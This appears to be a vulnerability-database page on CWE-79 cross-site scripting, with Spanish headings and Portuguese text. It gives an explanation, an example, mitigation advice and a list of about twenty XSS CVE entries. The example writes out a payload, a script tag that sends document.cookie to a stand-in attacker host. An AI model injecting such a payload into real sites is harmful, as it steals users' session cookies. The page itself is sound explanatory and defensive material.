Fallos del tipo CWE-79

30.241 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-54049MEDIUMAdobe Connect | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-54301HIGHExtension - norrnext.com - Stored XSS vulnerability in Quantum Manager component 1.0.0-3.2.0 for JoomlaEPSS 0.3%CVE-2025-11308MEDIUMVanderlande Baggage 360 messages cross site scriptingEPSS 0.3%CVE-2026-96570HIGHSchema & Structured Data for WP & AMP <= 1.67 - Unauthenticated Stored Cross-Site Scripting via 'saswp_review_text' ParameterEPSS 0.3%CVE-2026-92234MEDIUMQloApps through 1.7.0 Reflected XSS via Hotel Feature Validation ErrorsEPSS 0.3%CVE-2024-11750MEDIUMONLYOFFICE DocSpace <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-6283MEDIUMDethemeKit For Elementor <= 2.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via URL Parameter of the De Gallery WidgetEPSS 0.3%CVE-2026-72832MEDIUMGrav before 2.0.13 Stored XSS via quoted-attribute bypassEPSS 0.3%CVE-2024-10308MEDIUMJeg Elementor Kit <= 2.6.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via JKit - Countdown WidgetEPSS 0.3%CVE-2025-26391MEDIUMSolarWinds Observability Self-Hosted XSS VulnerabilityEPSS 0.3%CVE-2026-30238MEDIUMGroup-Office: Reflected XSS in JavaScript contextEPSS 0.3%CVE-2024-3565MEDIUMContent Blocks (Custom Post Widget) <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via content_block ShortcodeEPSS 0.3%CVE-2025-40648MEDIUMStored Cross-Site Scripting (XSS) vulnerability in Issabel productsEPSS 0.3%CVE-2024-5426MEDIUMPhoto Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via Zipped SVGEPSS 0.3%CVE-2024-5646MEDIUMFuturio Extra <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Advanced Text Block WidgetEPSS 0.3%CVE-2024-28895MEDIUM'Yahoo! JAPAN' App for Android v2.3.1 to v3.161.1 and 'Yahoo! JAPAN' App for iOS v3.2.2 to v4.109.0 contain a cross-site scripting vulnerabiEPSS 0.3%CVE-2024-9421MEDIUMLogin Logout Shortcode <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via class ParameterEPSS 0.3%CVE-2026-8901HIGHIntegration for Freshsales <= 1.0.15 - Unauthenticated Stored Cross-Site Scripting via Form Submission DataEPSS 0.3%CVE-2025-30899MEDIUMWordPress User Registration plugin <= 4.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-63353CRITICALAffected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page. This EPSS 0.3%